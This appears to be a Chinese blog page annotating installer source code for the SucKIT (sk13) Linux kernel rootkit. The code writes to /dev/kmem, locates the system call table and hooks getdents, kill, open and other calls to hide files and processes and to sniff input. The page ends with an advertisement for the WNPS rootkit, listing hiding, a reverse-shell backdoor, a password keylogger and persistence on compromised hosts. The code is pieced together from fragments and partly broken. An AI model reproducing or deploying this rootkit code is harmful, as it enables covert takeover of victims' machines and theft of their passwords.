鬼仔's Blog

int main(void)
{
char *name[2];

name[0] = "/bin/sh";
name[1]= NULL;

Please enter new rootkit password: -->这里输入rookit的登录密码
Again, just to be sure:
OK, new password set.
Home directory [/dev/sk13]: /dev/sk13 -->这里设置隐藏的目录
Magic file-hiding suffix [sk13]: sk13 -->这里设置文件隐藏的前缀

Configuration saved.
>From now, _only_ this configuration will be used by generated
binaries till you do skconfig again.

int install()
{
int fd;
ulong sct;
ulong kmalloc;
ulong gfp;
struct idtr idtr;
struct idt idt80;
ulong oldsys;
ulong mem;
ulong size;
ulong sctp[2];
ulong old80;

mkdir(HOME, 0644);

/* 打开/dev/kmem */

fd = open(DEFAULT_KMEM, O_RDWR, 0);
if (fd < 0) {
printf("FUCK: Can't open %s for read/write (%d)\n", DEFAULT_KMEM,-fd);
return 1;
}

/* 寻找中断描述符表的地址 */

asm ("sidt %0" : "=m" (idtr));

printf("RK_Init: idt=0x%08x, ", (uint) idtr.base);

/* 从kmem中读取int 0x80中断描述符的内容到idt80结构中，注意读出的是描述符的内容 */

if (ERR(rkm(fd, &idt80, sizeof(idt80),
idtr.base + 0x80 * sizeof(idt80)))) {
printf("FUCK: IDT table read failed (offset 0x%08x)\n",
(uint) idtr.base);
close(fd);
return 1;
}

/* 根据idt80计算出其int 0x80服务程序的实际地址，就是system_call的地址 */

old80 = idt80.off1 | (idt80.off2 << 16);

/*
根据system_call的地址，找到sys_call_table的地址
*/

sct = get_sct(fd, old80, sctp);

if (!sct) {
printf("FUCK: Can't find sys_call_table[]\n");
close(fd);
return 1;
}

printf("sct[]=0x%08x, ", (uint) sct);

/* 在kmem中寻找kmalloc的地址 ，并把GFP_KERNEL的地址保存 */

kmalloc = (ulong) get_kma(fd, sct & 0xff000000, &gfp, get_kma_hint());
if (!kmalloc) {
printf("FUCK: Can't find kmalloc()!\n");
close(fd);
return 1;
}
printf("kmalloc()=0x%08x, gfp=0x%x\n", (uint) kmalloc,
(uint) gfp);

/*
把oldolduname系统调用的地址读出，并保存

注意：oldolduname不经常被使用，所以可以用来被替换，你也可以换成其他
不常用的系统调用
*/

if (ERR(rkml(fd, &oldsys, sct + OURSYS * 4))) {
printf("FUCK: Can't read syscall %d addr\n", OURSYS);
close(fd);
return 1;
}

/*
用kmalloc的地址替换oldolduname的地址
*/

wkml(fd, kmalloc, sct + OURSYS * 4);

/*

计算将要用kmalloc分配的内存大小，注意是在内核区域分配内存

大小等于sk自身的长度+256个系统调用的地址+512个pid_struc个结构体的大小

注意:sk13b将要把原来的sys_call_table的所有内容重新分配到即将开辟的内存
中，hook系统时是hook新的sys_call_table数组的，并用新的sys_call_talbe的
地址覆盖原来的sys_call_talbe地址

*/

size = (ulong) kernel_end - (ulong) kernel_start
+ SCT_TABSIZE + PID_TABSIZE;

printf("Z_Init: Allocating kernel-code memory...");

/*

调用kmalloc在内核区域中分配内存

注意: 刚才已经把oldolduname的地址替换成kmalloc的地址了，只要调用oldolduname
就可以调用kmalloc函数了

补充：如何在应用程序中直接调用kmalloc

sk在stuff.h中定义了类似如下的几个宏函数：

#define syscall2(__type, __name, __t1, __t2) \
__type __name(__t1 __a1, __t2 __a2) \
{ \
ulong __res; \
__asm__ volatile \
("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##__name) \
rr("b", __a1) \
rr("c", __a2)); \
return (__type) __res; \
}

static inline syscall2(ulong, KMALLOC, ulong, ulong);被展开后就变为：

static inline ulong KMALLOC(ulong __a1,ulong __a2)
{
ulong __res;
__asm__volatile
("int $0x80"
: "=a" (__res)
" "0"(__NR_KMALLOC)
rr("b", __a1)
rr("c", __a2));

return (ulong)__res;
}

又根据
#define __NR_KMALLOC OURSYS
#define OURSYS __NR_oldolduname
在进一步替换为：

static inline ulong KMALLOC(ulong __a1,ulong __a2)
{
ulong __res;
__asm__volatile
("int $0x80"
: "=a" (__res)
" "0"(__NR_oldolduname)
rr("b", __a1)
rr("c", __a2));

return (ulong)__res;
}

执行KMALLOC(size,gfp),实际是去执行oldolduname系统调用，但我们知道它的地址
已经被kmalloc的地址替换了，所以就去执行kmalloc，到此，我们已经在内核区域中
分配了指定大小的空间

*/

mem = KMALLOC(size, gfp);
if (!mem) {
wkml(fd, oldsys, sct + OURSYS * 4);
printf("FUCK: Out of kernel memory!\n");
close(fd);
return 1;
}

/* 将sk装入刚才分配的内存中 */

wkm(fd, (void *) kernel_start,
(ulong) kernel_end - (ulong) kernel_start,
mem + SCT_TABSIZE);

/*
用kernel_init函数的地址替换掉oldolduname系统调用的地址
跟KMALLOC同样的道理，调用oldolduname等于调用kernel_init

*/

wkml(fd, mem + SCT_TABSIZE +
(ulong) (kernel_init) - (ulong) kernel_start,
sct + OURSYS * 4);

/*

下面是sk所在内核区域内的内存分配示意图

mem kernel_start kernel_init kernel_end
| | | |
V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc)
+------------------------------------------------------------------------------------
| 新的sys_call_table的数组 | | | PID_TABSIZE |
+------------------------------------------------------------------------------------
|
|
|
|
V
+--------------------------------------+
老的sys_call_table[]数组 | | |
+--------------------------------------+
^
|
oldolduname
*/

/*

KINT同KMALLOC一样都是去执行oldolduname,然后就可以执行kernel.c/kernel_init了，是不是很巧妙呢

注意：从这以后就开始转向kernel.c/kernel_init()函数了

*/

KINIT(mem, sct, sctp, oldsys);

/*
从kmem的ep(system_call的地址)偏移位置读取512字节到code缓冲区中
*/

if (rkm(fd, code, sizeof(code), ep) <= 0)
return 0;

/*

在code缓冲区中匹配搜寻\xff\x14\x85

注意：call something<,eax,4)指令的机器码是0xff 0x14 0x85 0x
p的地址是call something<,eax,4)机器码的首地址，要得到sys_call_table的地址还得在+3

*/
p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3);
if (!p) return 0;

/*
(p+3) - code 是sys_call_table相对code的偏移量，在+ep，也就是sys_call_table的地址，
与r的值是一样的

*/
pos[0] = ep + ((p + 3) - code);

/* r的地址就是sys_call_table的首地址 */

r = *(ulong *) (p + 3);

/* p还是sys_call_table的地址 */

p = (char *) memmem(p+3, SCLEN - (p-code) - 3, "\xff\x14\x85", 3);
if (!p) return 0;

pos[1] = ep + ((p + 3) - code);

gfp = sz = call = ccount = 0;

for (pos = pgoff; pos < (KSIZE + pgoff); pos += BUFSZ) {
c = rkm(kmem, buf, BUFSZ, pos);
if (ERR(c)) break;
/* 寻找push和call指令 */
for (p = buf; p < (buf + c); ) {
switch (*p++) {
case 0x68:
gfp = sz;
sz = *(ulong *) p;
p += 4;
continue;
case 0x6a:
gfp = sz;
sz = *p++;
continue;
case 0xe8:
call = *(ulong *) p + pos +
(p - buf) + 4;
p += 4;
if (gfp && sz &&
gfp <= MAXGFP &&
sz <= MAXSIZE) break;
default:
gfp = sz = call = 0;
continue;
}

for (i = 0; i < ccount; i++) {
if ((kcalls[i].addr == call) &&
(kcalls[i].gfp == gfp)) {
kcalls[i].count++;
goto outta;
}
}

if (ccount >= KCALL)
goto endsrch;

/* ksize 为sk本身的大小 ，newsct指向刚才用kmalloc分配的内存区域 */

ulong ksize = (ulong) kernel_end - (ulong) kernel_start;
ulong *newsct = (void *) mem;

/* 将oldsys 保存到原来的地址处，oldsys 保存的是oldolduname系统调用的地址 */

sct[OURSYS] = oldsys;

/*
请看内存示意图

mem kernel_start kernel_init kernel_end
| | | |
V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc)
+------------------------------------------------------------------------------------
| 新的sys_call_table的数组 | | | 000000--------------000000|
+------------------------------------------------------------------------------------

memset(mem + SCT_TABSIZE + ksize, 0, PID_TABSIZE);

/* 保存老的sys_call_table指针 ,pidtab指向mem + SCT_TABSIZE + ksize内存区域 */

*oldsct() = (ulong) sct;
*pidtab() = (void *) (mem + SCT_TABSIZE + ksize);

/* 将老的sys_call_table的数组内容保存到mem开始出，这样newsct就保存了原sys_call_table的全部内容 */

memcpy(mem, sct, SCT_TABSIZE);

/*
下面就是修改系统调用指针入口来hook系统调用了

hook(OURCALL); 是一个宏调用

#define hook(name) \
newsct[__NR_##name] = ((ulong) new_##name - \
(ulong) kernel_start) + \
(ulong) mem + SCT_TABSIZE;

这样hook(OURCALL);就被展开为：

newsct[__NR_OURCALL] = ( (ulong) new_OURCALL - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

sk.h中OURCALL被定义为：
#define OURCALL oldolduname

newsct[__NR_oldolduname] = ( (ulong) new_oldolduname - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

在看内存示意图

mem kernel_start kernel_init kernel_end
| | | |
V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc)
+------------------------------------------------------------------------------------
| 新的sys_call_table的数组 | | | | 000000--------------000000|
+------------------------------------------------------------------------------------
^ ^
| |
oldolduname<------------new_oldolduname

用kernel.c中的new_oldolduname来指向原来的oldolduname

注意：oldsctp(),*oldsct(),*pidtab() 这3个函数的内存大小是怎么分配的，请看对kernel.c的分析

*/

hook(OURCALL);
hook(clone);
hook(fork);
hook(vfork);
hook(getdents);
hook(getdents64);

hook(kill);
hook(open);
hook(close);
#ifdef SNIFFER
hook(read);
hook(write);
#endif
#ifdef SNIFFER
hook(execve);
#endif
#ifdef INITSTUFF
hook(utime);
hook(oldstat);
hook(oldlstat);
hook(oldfstat);
hook(stat);
hook(lstat);
hook(fstat);
hook(stat64);
hook(lstat64);
hook(fstat64);
hook(creat);
hook(unlink);
hook(readlink);
#endif

/* 将老的sys_call_table指针入口保存到oldsctp中 */

memcpy(oldsctp(), sctp, 2 * sizeof(ulong));

/* 用新的sys_call_table[]替换原来的sys_call_talbe，到此hook系统调用就成功了 */

DVAR 是个宏调用；

在Rdata.h中定义如下：

#define DVAR(type, name, val) \
DARR(type, 1, name, val)

是个宏嵌套，DVRR如下：

#define DARR(type, count, name, val...) \
struct s_##name { \
uchar s[5]; \
type l[count]; \
uchar f[2]; \
} __attribute__((packed)); \
static struct s_##name f_##name = \
{{0xe8, sizeof(f_##name.l) & 0xff, (sizeof(f_##name.l) >> 8) & 0xff, 0, 0}, \
, \
{0x58, 0xc3}}; \
static inline type *name(void) \
{ \
type *(*func)() = (void *) &f_##name; \
return func(); \
}

我们把DVAR(pid_struc *, pidtab, NULL);展开后看看

DVAR(pid_struc *, pidtab, NULL);

DVRR(pid_struc *, 1，pidtab, NULL);

struct s_pidtab{
uchar s[5];
pid_struc * l[1];
uchar f[2];
} __attribute__((packed)); /* __attribute__ ((packed)); 是说取消结构在编译过程中的优化对齐 */

static struct s_pidtab f_pidtab =
{{0xe8, sizeof(f_pidtab.l) & 0xff, (sizeof(f_pidtab.l) >> 8) & 0xff, 0, 0},
,
{0x58, 0xc3}};

static inline type *pidtab(void)
{
pid_struc* *(*func)() = (void *) &f_pidtab;
return func();
}

WNPS 功能特点：(部分功能在收费版中才有，各位放心，即使是公开版，也绝对可以满足我们日常的需求了)

1、隐藏
隐藏指定文件
隐藏文件中特定的内容
隐藏进程
动态隐藏网络连接、进程-->用过sk的都知道什么是动态隐藏
隐藏自身模块
保护相关模块、进程、文件不被跟踪

2、内核反弹后门
内核反弹后门
即使肉鸡没有开放任何TCP UDP端口并过滤icmp包，只要肉鸡让回连，我们就可以获得shell
跨内核平台简易安装，拿着一个wnps.ko就可以管理所有2.6内核的机器，所有要做的事情只是执行insmod wnps.ko
完美的伪终端支持，让你用起来更顺心，舒心
可以设置定时自动回连，即使你的肉鸡在内网的深处，也不用担心她跑路

3、键盘记录功能
想看看有没其他人在你的肉鸡里跳舞？这个是最好的办法，还可以通过键盘记录把别人的肉鸡给抢了，怎么抢，自己发挥想像空间吧。键盘记录功能对渗透和保护肉鸡都有相当重要的意义。键盘有两种模式，一个是密码模式，就是专门记录密码相关的了，只要触发了相关特征字符串，我们就记录下相应的内容，还有一个就是完全记录模式了，顾名思义了。

4、模块注射
比adore-ng更稳定的模块注射方式，让你不用担忧wnps的自启动问题，另外我们还可以使用wnps的文件内容隐藏功能，在rc.local中写入insmod wnps.ko来自启动模块

5、通讯加密
怕被sniff吗？用wnps吧，从登录验证到指令传输，一切都在高强度加密保护之下，让你无后顾之忧